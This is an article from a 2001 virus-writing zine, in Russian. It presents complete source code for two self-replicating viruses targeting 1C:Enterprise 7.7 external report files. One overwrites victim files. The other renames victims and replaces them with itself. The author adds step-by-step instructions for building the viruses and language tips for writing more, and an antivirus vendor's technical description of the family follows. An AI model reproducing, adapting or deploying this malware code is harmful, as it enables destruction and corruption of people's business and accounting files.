in name of zero INOZ, issue #1, 20 nov. 2001 Первые вирусы для 1С:Предприятие 7.7 by BKNY0NNX // SBVC Я достаточно долго занимался созданием баз данных, т.к. они приносят пользу людям, и в первую очередь мне - в виде зелёных и деревянных ;) Ну а сейчас на рынке бухгалтерских программ монополию держит 1С:Предприятие и 1С:Бухгалтерия, вот я и решил на них посмотреть. В них есть достаточно развитый язык программирования, что позволяет писать вирусы. И я решил их написать. Данные вирусы представляют из себя внешние отчеты(обработки) и заражают тоже внешние отчеты(обработки). Вот некоторые возможности(особенности) языка, которые стоит использовать: 1. Внутренний язык сродни Basic'у, ну а в следующих версиях программ возможна вставка VBA; Язык объектно-ориентированный - используйте объекты ;); 2. Есть события(как в MS Office;)) - обычные процедуры, но со специальными именами - ПриОткрытии и пр.; 3. Для операций с файлами используйте объект "ФС" - файловая система; 4. Для получения имени вирусного файла используйте РасположениеФайла(x,y) Эти вирусы работают на 1С:Предприятие 7.7,а на других версиях не тестировались. Возможно переползание 7.5 ---> 7.7 и 7.7 ---> ?.?, если только не изменится язык. Как использовать: 1. В Конфигураторе 1С:Предприятие 7.7 создать новый внешний отчёт; 2. В модуль кода ("Модуль") ввести исходник вируса; 3. Сохранить. Эти вирусы поражают все внешние отчёты в текущем каталог: Trivial.1Cv77 перезаписывает тело жертвы; Companion.1Cv77 переименовывает жертву, а сам записывается вместо неё(жертвы). ===================[BEGIN Trivial.1Cv77]================================ Процедура ПриОткрытии() // Trivial.1Cv77 by BKNY0NNX Перем МоёИмя; Перем МойПуть; РасположениеФайла(МойПуть, МоёИмя); МоёИмя = МойПуть + МоёИмя; МояФСО = СоздатьОбъект("ФС"); ИмяФайла = МояФСО.НайтиПервыйФайл(МойПуть + "*.ert"); Пока ИмяФайла <> "" Цикл Если МойПуть + ИмяФайла <> МоёИмя Тогда МояФСО.КопироватьФайл(МоёИмя, МойПуть + ИмяФайла, 0); КонецЕсли; ИмяФайла = МояФСО.НайтиСледующийФайл(); КонецЦикла; ЗавершитьРаботуСистемы(0); КонецПроцедуры ===================[END Trivial.1Cv77]================================== =================[BEGIN Companion.1Cv77]================================ Процедура ПриОткрытии() // Companion.1Cv77 by BKNY0NNX Перем МоёИмя; Перем МойПуть; РасположениеФайла(МойПуть, МоёИмя); МоёИмя = МойПуть + МоёИмя; ИмяЖертвы = МоёИмя + ".ert"; МояФСО = СоздатьОбъект("ФС"); ИмяФайла = МояФСО.НайтиПервыйФайл(МойПуть + "*.ert"); Пока ИмяФайла <> "" Цикл Если (МойПуть + ИмяФайла <> МоёИмя) И (Найти(ИмяФайла, ".ert.ert") = 0) Тогда МояФСО.ПереименоватьФайл(МойПуть + ИмяФайла, МойПуть + ИмяФайла + ".ert", 1); МояФСО.КопироватьФайл(МоёИмя, МойПуть + ИмяФайла, 1); КонецЕсли; ИмяФайла = МояФСО.НайтиСледующийФайл(); КонецЦикла; ОткрытьФорму("Отчет", , ИмяЖертвы); Форма.Закрыть(0); КонецПроцедуры =================[END Companion.1Cv77]================================== Описание от AVP: ======================================================================== 1C-Module.Bonny, семейство Первые известные вирусы, распространяющиеся в системе "1С:Предприятие7.7" (см. "Фирма 1C", http://www.1c.ru). Данные вирусы заражают один из типов пользовательских файлов системы "1С:Предприятие 7.7" (файлы внешних отчетов, имеют расширение имени ".ERT") . Вирусы представляют из себя макро-модули, встроенные в файл-отчет 1C. Способ расположения этих вирусов в файлах-отчетах 1C и их функционирование во многом напоминает макро-вирусы, заражающие документы и таблицы MS Office. Модули располагаются в специальн ом блоке данных в файле-отчете, они активизируются при открытии файла. Так же, как и макросы MS Office, они могут иметь авто-имена, срабатывающие при различных действиях с файлом-отчетом, например, открытие файла. Язык модулей 1C является достаточно мощным и позволяет обращаться к другим дисковым файлам (включая другие файлы-отчеты), что и используется вирусами данного типа для своего распространения. Данные вирусы никак не проявляют своего присутствия в системе и не содержат никаких специальных деструктивных функций (за исключением того, что первый вирус при заражении уничтожает содержимое файла-жертвы). Вероятность широкого распространения вирусов этого типа крайне мала, поскольку отчеты 1С:Предприятия не являются файлами, которые часто копируются с одного компьютера на другой или пересылаются по электронной почте. Вирусы содержат строки-"копирайты": Trivial.1Cv77 by BKNY0NNX Companion.1Cv77 by BKNY0NNX (имя вирусов "Bonny" было взято по буквам из этой текстовой строки "BKNY0NNX") Bonny.a "Overwriting"-вирус, записывает себя вместо заражаемых файлов. При заражении полностью уничтожает содержимое файла-жертвы. Состоит их одного авто-модуля "ПриОткрытии()" и, соответственно, активизируется при открытии зараженного модуля. Состоит всего из 15 команд, которые ищут в текущем каталоге .ERT-файлы (внешние отчеты 1С), и записывается в них. После заражения всех доступных файлов в каталоге вирус завершает работу системы (выполняет команду закрытия приложения 1C:Предприятие). Bonny.b Вирус-компаньон. Также состоит из одного авто-модуля "ПриОткрытии()". При активизации ищет в текущем каталоге .ERT-файлы, переименовывает найденные файлы в .ERT.ERT (добавляет к имени файла еще одно расширение .ERT, например, AUDIT.ERT -> AUDIT.ERT.ERT) и копирует себя вместо оригинального файла. После заражения всех файлов в каталоге вирус открывает файл-жертву (.ERT.ERT-файл). Вирус содержит ошибку и не определяет уже зараженные файлы, что может привести к многократному переименованию файла, например, "BALANS.ERT.ERT.ERT ... .ERT". ======================================================================== 22.08.2001